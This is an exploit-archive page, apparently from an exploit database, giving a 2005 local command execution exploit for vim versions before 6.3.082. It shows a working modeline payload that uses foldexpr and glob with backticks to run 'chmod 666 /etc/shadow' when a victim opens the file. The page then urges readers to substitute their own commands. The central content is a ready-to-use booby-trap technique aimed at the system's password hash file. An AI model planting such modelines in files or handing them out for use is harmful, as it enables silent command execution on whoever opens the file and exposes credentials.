vim 6.3 < 6.3.082 (modlines) Local Command Execution Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : vim 6.3 < 6.3.082 (modlines) Local Command Execution Exploit
# Published : 2005-07-25
# Author : Georgi Guninski
# Previous Title : Operator Shell (osh) 1.7-13 Local Root Exploit
# Next Title : Internet Download Manager <= 4.05 Input URL Stack Overflow Exploit

1) open up a text file.

2) insert at the top the information (below).

/* vim: foldmethod=expr:foldexpr=glob("`chmod 666 /etc/shadow`") */

3) if modlines = on anyone that opens the file with vim will execute the command:
   chmod 666 /etc/shadow
   
Have fun making your own commands.

The advisory can be found at:
  http://www.guninski.com/where_do_you_want_billg_to_go_today_5.html

/str0ke

# www.Syue.com [2005-07-25]